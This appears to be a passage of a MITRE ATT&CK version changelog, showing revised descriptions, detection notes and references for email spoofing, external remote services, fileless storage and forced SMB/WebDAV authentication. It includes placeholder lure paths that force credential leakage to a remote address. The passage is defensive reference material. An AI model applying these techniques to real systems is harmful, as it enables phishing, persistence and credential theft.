| > | s inbox, which may cause modified emails to appear as if the | > | s inbox, which may cause modified emails to appear as if the | ||
| > | y were from the spoofed entity. This behavior may succeed | > | y were from the spoofed entity. This behavior may succeed | ||
| > | when the spoofed entity either does not enable or enforce id | > | when the spoofed entity either does not enable or enforce id | ||
| > | entity authentication tools such as Sender Policy Framework | > | entity authentication tools such as Sender Policy Framework | ||
| > | (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base | > | (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base | ||
| > | d Message Authentication, Reporting and Conformance (DMARC). | > | d Message Authentication, Reporting and Conformance (DMARC). | ||
| > | (Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC- | > | (Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC- | ||
| > | overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a | > | overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a | ||
| > | re configured properly, spoofing may still succeed when a do | > | re configured properly, spoofing may still succeed when a do | ||
| > | main sets a weak DMARC policy such as `v=DMARC1; p=none; fo= | > | main sets a weak DMARC policy such as `v=DMARC1; p=none; fo= | ||
| > | 1;`. This means that while DMARC is technically present, ema | > | 1;`. This means that while DMARC is technically present, ema | ||
| > | il servers are not instructed to take any filtering action w | > | il servers are not instructed to take any filtering action w | ||
| > | hen emails fail authentication checks.(Citation: Proofpoint | > | hen emails fail authentication checks.(Citation: Proofpoint | ||
| > | TA427 April 2024)(Citation: ic3-dprk) Adversaries may abuse | > | TA427 April 2024)(Citation: ic3-dprk) Adversaries may abuse | ||
| > | absent or weakly configured SPF, SKIM, and/or DMARC policie | > | Microsoft 365’s Direct Send functionality to spoof internal | ||
| > | s to conceal social engineering attempts(Citation: ic3-dprk) | > | users by using internal devices like printers to send email | ||
| > | such as [Phishing](https://attack.mitre.org/techniques/T156 | > | s without authentication.(Citation: Barnea DirectSend) Adver | ||
| > | 6). They may also leverage email spoofing for [Impersonation | > | saries may also abuse absent or weakly configured SPF, SKIM, | ||
| > | ](https://attack.mitre.org/techniques/T1656) of legitimate e | > | and/or DMARC policies to conceal social engineering attempt | ||
| > | xternal individuals and organizations, such as journalists a | > | s(Citation: ic3-dprk) such as [Phishing](https://attack.mitr | ||
| > | nd academics.(Citation: ic3-dprk) | > | e.org/techniques/T1566). They may also leverage email spoofi | ||
| > | ng for [Impersonation](https://attack.mitre.org/techniques/T | ||||
| > | 1656) of legitimate external individuals and organizations, | ||||
| > | such as journalists and academics.(Citation: ic3-dprk) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:15.222000+00:00 | 2025-09-24 21:03:46.869000+00:00 |
| description | Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. + +This behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk) + +Adversaries may abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk) | Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. + +This behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk) + +Adversaries may abuse Microsoft 365’s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend) Adversaries may also abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Barnea DirectSend', 'description': 'Tom Barnea. (2025, September 9). Ongoing Campaign Abuses Microsoft 365’s Direct Send to Deliver Phishing Emails. Retrieved September 24, 2025.', 'url': 'https://www.varonis.com/blog/direct-send-exploit'} |
Current version: 2.8
Version changed from: 2.7 → 2.8
New Mitigations:
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:25.266000+00:00 | 2025-10-24 17:48:41.788000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. | |
| x_mitre_version | 2.7 | 2.8 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Don Le, Stifel Financial |
Current version: 1.3
Version changed from: 1.2 → 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:38.556000+00:00 | 2025-10-24 17:48:54.165000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) | |
| x_mitre_version | 1.2 | 1.3 |
Current version: 2.5
Version changed from: 2.4 → 2.5
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage external-facing remote services to | t | 1 | Adversaries may leverage external-facing remote services to |
| > | initially access and/or persist within a network. Remote ser | > | initially access and/or persist within a network. Remote ser | ||
| > | vices such as VPNs, Citrix, and other access mechanisms allo | > | vices such as VPNs, Citrix, and other access mechanisms allo | ||
| > | w users to connect to internal enterprise network resources | > | w users to connect to internal enterprise network resources | ||
| > | from external locations. There are often remote service gate | > | from external locations. There are often remote service gate | ||
| > | ways that manage connections and credential authentication f | > | ways that manage connections and credential authentication f | ||
| > | or these services. Services such as [Windows Remote Manageme | > | or these services. Services such as [Windows Remote Manageme | ||
| > | nt](https://attack.mitre.org/techniques/T1021/006) and [VNC] | > | nt](https://attack.mitre.org/techniques/T1021/006) and [VNC] | ||
| > | (https://attack.mitre.org/techniques/T1021/005) can also be | > | (https://attack.mitre.org/techniques/T1021/005) can also be | ||
| > | used externally.(Citation: MacOS VNC software for Remote Des | > | used externally.(Citation: MacOS VNC software for Remote Des | ||
| > | ktop) Access to [Valid Accounts](https://attack.mitre.org/t | > | ktop) Access to [Valid Accounts](https://attack.mitre.org/t | ||
| > | echniques/T1078) to use the service is often a requirement, | > | echniques/T1078) to use the service is often a requirement, | ||
| > | which could be obtained through credential pharming or by ob | > | which could be obtained through credential pharming or by ob | ||
| > | taining the credentials from users after compromising the en | > | taining the credentials from users after compromising the en | ||
| > | terprise network.(Citation: Volexity Virtual Private Keylogg | > | terprise network.(Citation: Volexity Virtual Private Keylogg | ||
| > | ing) Access to remote services may be used as a redundant or | > | ing) Access to remote services may be used as a redundant or | ||
| > | persistent access mechanism during an operation. Access ma | > | persistent access mechanism during an operation. Access ma | ||
| > | y also be gained through an exposed service that doesn’t req | > | y also be gained through an exposed service that doesn’t req | ||
| > | uire authentication. In containerized environments, this may | > | uire authentication. In containerized environments, this may | ||
| > | include an exposed Docker API, Kubernetes API server, kubel | > | include an exposed Docker API, Kubernetes API server, kubel | ||
| > | et, or web application such as the Kubernetes dashboard.(Cit | > | et, or web application such as the Kubernetes dashboard.(Cit | ||
| > | ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 | > | ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 | ||
| > | Hildegard Malware) | > | Hildegard Malware) Adversaries may also establish persisten | ||
| > | ce on network by configuring a Tor hidden service on a compr | ||||
| > | omised system. Adversaries may utilize the tool `ShadowLink` | ||||
| > | to facilitate the installation and configuration of the Tor | ||||
| > | hidden service. Tor hidden service is then accessible via t | ||||
| > | he Tor network because `ShadowLink` sets up a .onion address | ||||
| > | on the compromised system. `ShadowLink` may be used to forw | ||||
| > | ard any inbound connections to RDP, allowing the adversaries | ||||
| > | to have remote access.(Citation: The BadPilot campaign) Adv | ||||
| > | ersaries may get `ShadowLink` to persist on a system by masq | ||||
| > | uerading it as an MS Defender application.(Citation: Russian | ||||
| > | threat actors dig in, prepare to seize on war fatigue) | ||||
New Mitigations:
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Metadata', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:34:58.667000+00:00 | 2025-10-24 17:48:24.982000+00:00 |
| description | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) + +Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. + +Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) + +Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. + +Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) + +Adversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access.(Citation: The BadPilot campaign) Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.(Citation: Russian threat actors dig in, prepare to seize on war fatigue) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. + +When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application. | |
| x_mitre_version | 2.4 | 2.5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Russian threat actors dig in, prepare to seize on war fatigue', 'description': 'Microsoft Threat Intelligence. (2023, December 7). Russian threat actors dig in, prepare to seize on war fatigue. Retrieved June 18, 2025.', 'url': 'https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/russian-threat-actors-dig-in-prepare-to-seize-on-war-fatigue'} | |
| external_references | {'source_name': 'The BadPilot campaign', 'description': 'Microsoft Threat Intelligence. (2025, February 12). The BadPilot campaign: Seashell Blizzard subgroup conducts multiyear global access operation. Retrieved June 18, 2025.', 'url': 'https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/?ref=thestack.technology'} | |
| x_mitre_contributors | Liran Ravich, CardinalOps |
Current version: 1.4
Version changed from: 1.3 → 1.4
New Mitigations:
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Don Le, Stifel Financial'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:52.946000+00:00 | 2025-10-24 17:49:08.302000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2) | |
| x_mitre_version | 1.3 | 1.4 |
Current version: 2.1
Version changed from: 2.0 → 2.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may store data in "fileless" formats to conceal | t | 1 | Adversaries may store data in "fileless" formats to conceal |
| > | malicious activity from defenses. Fileless storage can be br | > | malicious activity from defenses. Fileless storage can be br | ||
| > | oadly defined as any format other than a file. Common exampl | > | oadly defined as any format other than a file. Common exampl | ||
| > | es of non-volatile fileless storage in Windows systems inclu | > | es of non-volatile fileless storage in Windows systems inclu | ||
| > | de the Windows Registry, event logs, or WMI repository.(Cita | > | de the Windows Registry, event logs, or WMI repository.(Cita | ||
| > | tion: Microsoft Fileless)(Citation: SecureList Fileless) In | > | tion: Microsoft Fileless)(Citation: SecureList Fileless) Sha | ||
| > | Linux systems, shared memory directories such as `/dev/shm`, | > | red memory directories on Linux systems (`/dev/shm`, `/run/s | ||
| > | `/run/shm`, `/var/run`, and `/var/lock` may also be conside | > | hm`, `/var/run`, and `/var/lock`) and volatile directories o | ||
| > | red fileless storage, as files written to these directories | > | n Network Devices (`/tmp` and `/volatile`) may also be consi | ||
| > | are mapped directly to RAM and not stored on the disk.(Citat | > | dered fileless storage, as files written to these directorie | ||
| > | ion: Elastic Binary Executed from Shared Memory Directory)(C | > | s are mapped directly to RAM and not stored on the disk.(Cit | ||
| > | itation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Ma | > | ation: Elastic Binary Executed from Shared Memory Directory) | ||
| > | lware 2024) Similar to fileless in-memory behaviors such as | > | (Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik | ||
| > | [Reflective Code Loading](https://attack.mitre.org/techniqu | > | Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISC | ||
| > | es/T1620) and [Process Injection](https://attack.mitre.org/t | > | O Nexus 900 Config). Similar to fileless in-memory behavior | ||
| > | echniques/T1055), fileless data storage may remain undetecte | > | s such as [Reflective Code Loading](https://attack.mitre.org | ||
| > | d by anti-virus and other endpoint security tools that can o | > | /techniques/T1620) and [Process Injection](https://attack.mi | ||
| > | nly access specific file formats from disk storage. Leveragi | > | tre.org/techniques/T1055), fileless data storage may remain | ||
| > | ng fileless storage may also allow adversaries to bypass the | > | undetected by anti-virus and other endpoint security tools t | ||
| > | protections offered by read-only file systems in Linux.(Cit | > | hat can only access specific file formats from disk storage. | ||
| > | ation: Sysdig Fileless Malware 23022) Adversaries may use f | > | Leveraging fileless storage may also allow adversaries to b | ||
| > | ileless storage to conceal various types of stored data, inc | > | ypass the protections offered by read-only file systems in L | ||
| > | luding payloads/shellcode (potentially being used as part of | > | inux.(Citation: Sysdig Fileless Malware 23022) Adversaries | ||
| > | [Persistence](https://attack.mitre.org/tactics/TA0003)) and | > | may use fileless storage to conceal various types of stored | ||
| > | collected data not yet exfiltrated from the victim (e.g., [ | > | data, including payloads/shellcode (potentially being used a | ||
| > | Local Data Staging](https://attack.mitre.org/techniques/T107 | > | s part of [Persistence](https://attack.mitre.org/tactics/TA0 | ||
| > | 4/001)). Adversaries also often encrypt, encode, splice, or | > | 003)) and collected data not yet exfiltrated from the victim | ||
| > | otherwise obfuscate this fileless data when stored. Some fo | > | (e.g., [Local Data Staging](https://attack.mitre.org/techni | ||
| > | rms of fileless storage activity may indirectly create artif | > | ques/T1074/001)). Adversaries also often encrypt, encode, sp | ||
| > | acts in the file system, but in central and otherwise diffic | > | lice, or otherwise obfuscate this fileless data when stored. | ||
| > | ult to inspect formats such as the WMI (e.g., `%SystemRoot%\ | > | Some forms of fileless storage activity may indirectly cr | ||
| > | System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\ | > | eate artifacts in the file system, but in central and otherw | ||
| > | System32\Config`) physical files.(Citation: Microsoft Filele | > | ise difficult to inspect formats such as the WMI (e.g., `%Sy | ||
| > | ss) | > | stemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%Sy | ||
| > | stemRoot%\System32\Config`) physical files.(Citation: Micros | ||||
| > | oft Fileless) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Creation', 'WMI: WMI Creation', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:35:48.121000+00:00 | 2025-06-05 15:30:20.139000+00:00 |
| description | Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024) + +Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022) + +Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. + +Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless) | Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config). + +Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022) + +Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. + +Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless) |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Bitsight 7777 Botnet', 'description': 'Batista, João. Gi7w0rm. (2024, August 27). Retrieved June 5, 2025.', 'url': 'https://www.bitsight.com/blog/7777-botnet-insights-multi-target-botnet'} | |
| external_references | {'source_name': 'CISCO Nexus 900 Config', 'description': 'CISCO. (2021, September 14). Cisco Nexus 9000 Series NX-OS Fundamentals Configuration Guide, Release 7.x. Retrieved June 5, 2025.', 'url': 'https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/fundamentals/configuration/guide/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x_chapter_01000.html'} |
Current version: 1.4
Version changed from: 1.3 → 1.4
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather credential material by invoking or fo | t | 1 | Adversaries may gather credential material by invoking or fo |
| > | rcing a user to automatically provide authentication informa | > | rcing a user to automatically provide authentication informa | ||
| > | tion through a mechanism in which they can intercept. The S | > | tion through a mechanism in which they can intercept. The S | ||
| > | erver Message Block (SMB) protocol is commonly used in Windo | > | erver Message Block (SMB) protocol is commonly used in Windo | ||
| > | ws networks for authentication and communication between sys | > | ws networks for authentication and communication between sys | ||
| > | tems for access to resources and file sharing. When a Window | > | tems for access to resources and file sharing. When a Window | ||
| > | s system attempts to connect to an SMB resource it will auto | > | s system attempts to connect to an SMB resource it will auto | ||
| > | matically attempt to authenticate and send credential inform | > | matically attempt to authenticate and send credential inform | ||
| > | ation for the current user to the remote system. (Citation: | > | ation for the current user to the remote system.(Citation: W | ||
| > | Wikipedia Server Message Block) This behavior is typical in | > | ikipedia Server Message Block) This behavior is typical in e | ||
| > | enterprise environments so that users do not need to enter c | > | nterprise environments so that users do not need to enter cr | ||
| > | redentials to access network resources. Web Distributed Aut | > | edentials to access network resources. Web Distributed Auth | ||
| > | horing and Versioning (WebDAV) is also typically used by Win | > | oring and Versioning (WebDAV) is also typically used by Wind | ||
| > | dows systems as a backup protocol when SMB is blocked or fai | > | ows systems as a backup protocol when SMB is blocked or fail | ||
| > | ls. WebDAV is an extension of HTTP and will typically operat | > | s. WebDAV is an extension of HTTP and will typically operate | ||
| > | e over TCP ports 80 and 443. (Citation: Didier Stevens WebDA | > | over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV | ||
| > | V Traffic) (Citation: Microsoft Managing WebDAV Security) A | > | Traffic)(Citation: Microsoft Managing WebDAV Security) Adve | ||
| > | dversaries may take advantage of this behavior to gain acces | > | rsaries may take advantage of this behavior to gain access t | ||
| > | s to user account hashes through forced SMB/WebDAV authentic | > | o user account hashes through forced SMB/WebDAV authenticati | ||
| > | ation. An adversary can send an attachment to a user through | > | on. An adversary can send an attachment to a user through sp | ||
| > | spearphishing that contains a resource link to an external | > | earphishing that contains a resource link to an external ser | ||
| > | server controlled by the adversary (i.e. [Template Injection | > | ver controlled by the adversary (i.e. [Template Injection]( | ||
| > | ](https://attack.mitre.org/techniques/T1221)), or place a sp | > | https://attack.mitre.org/techniques/T1221)), or place a spec | ||
| > | ecially crafted file on navigation path for privileged accou | > | ially crafted file on navigation path for privileged account | ||
| > | nts (e.g. .SCF file placed on desktop) or on a publicly acce | > | s (e.g. .SCF file placed on desktop) or on a publicly access | ||
| > | ssible share to be accessed by victim(s). When the user's sy | > | ible share to be accessed by victim(s). When the user's syst | ||
| > | stem accesses the untrusted resource it will attempt authent | > | em accesses the untrusted resource, it will attempt authenti | ||
| > | ication and send information, including the user's hashed cr | > | cation and send information, including the user's hashed cre | ||
| > | edentials, over SMB to the adversary controlled server. (Cit | > | dentials, over SMB to the adversary-controlled server.(Citat | ||
| > | ation: GitHub Hashjacking) With access to the credential has | > | ion: GitHub Hashjacking) With access to the credential hash, | ||
| > | h, an adversary can perform off-line [Brute Force](https://a | > | an adversary can perform off-line [Brute Force](https://att | ||
| > | ttack.mitre.org/techniques/T1110) cracking to gain access to | > | ack.mitre.org/techniques/T1110) cracking to gain access to p | ||
| > | plaintext credentials. (Citation: Cylance Redirect to SMB) | > | laintext credentials.(Citation: Cylance Redirect to SMB) Th | ||
| > | There are several different ways this can occur. (Citation: | > | ere are several different ways this can occur.(Citation: Osa | ||
| > | Osanda Stealing NetNTLM Hashes) Some specifics from in-the- | > | nda Stealing NetNTLM Hashes) Some specifics from in-the-wild | ||
| > | wild use include: * A spearphishing attachment containing a | > | use include: * A spearphishing attachment containing a doc | ||
| > | document with a resource that is automatically loaded when | > | ument with a resource that is automatically loaded when the | ||
| > | the document is opened (i.e. [Template Injection](https://at | > | document is opened (i.e. [Template Injection](https://attack | ||
| > | tack.mitre.org/techniques/T1221)). The document can include, | > | .mitre.org/techniques/T1221)). The document can include, for | ||
| > | for example, a request similar to <code>file[:]//[remote ad | > | example, a request similar to <code>file[:]//[remote addres | ||
| > | dress]/Normal.dotm</code> to trigger the SMB request. (Citat | > | s]/Normal.dotm</code> to trigger the SMB request.(Citation: | ||
| > | ion: US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF | > | US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file | ||
| > | file with the icon filename pointing to an external referenc | > | with the icon filename pointing to an external reference suc | ||
| > | e such as <code>\\[remote address]\pic.png</code> that will | > | h as <code>\\[remote address]\pic.png</code> that will force | ||
| > | force the system to load the resource when the icon is rende | > | the system to load the resource when the icon is rendered t | ||
| > | red to repeatedly gather credentials. (Citation: US-CERT APT | > | o repeatedly gather credentials.(Citation: US-CERT APT Energ | ||
| > | Energy Oct 2017) | > | y Oct 2017) Alternatively, by leveraging the <code>EfsRpcOp | ||
| > | enFileRaw</code> function, an adversary can send SMB request | ||||
| > | s to a remote system's MS-EFSRPC interface and force the vic | ||||
| > | tim computer to initiate an authentication procedure and sha | ||||
| > | re its authentication details. The Encrypting File System Re | ||||
| > | mote Protocol (EFSRPC) is a protocol used in Windows network | ||||
| > | s for maintenance and management operations on encrypted dat | ||||
| > | a that is stored remotely to be accessed over a network. Uti | ||||
| > | lization of <code>EfsRpcOpenFileRaw</code> function in EFSRP | ||||
| > | C is used to open an encrypted object on the server for back | ||||
| > | up or restore. Adversaries can collect this data and abuse i | ||||
| > | t as part of a NTLM relay attack to gain access to remote sy | ||||
| > | stems on the same internal network.(Citation: Rapid7)(Citati | ||||
| > | on: GitHub) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Access', 'Network Traffic: Network Traffic Flow', 'File: File Modification', 'File: File Creation', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:36:48.417000+00:00 | 2025-10-24 17:49:16.134000+00:00 |
| description | Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.
+
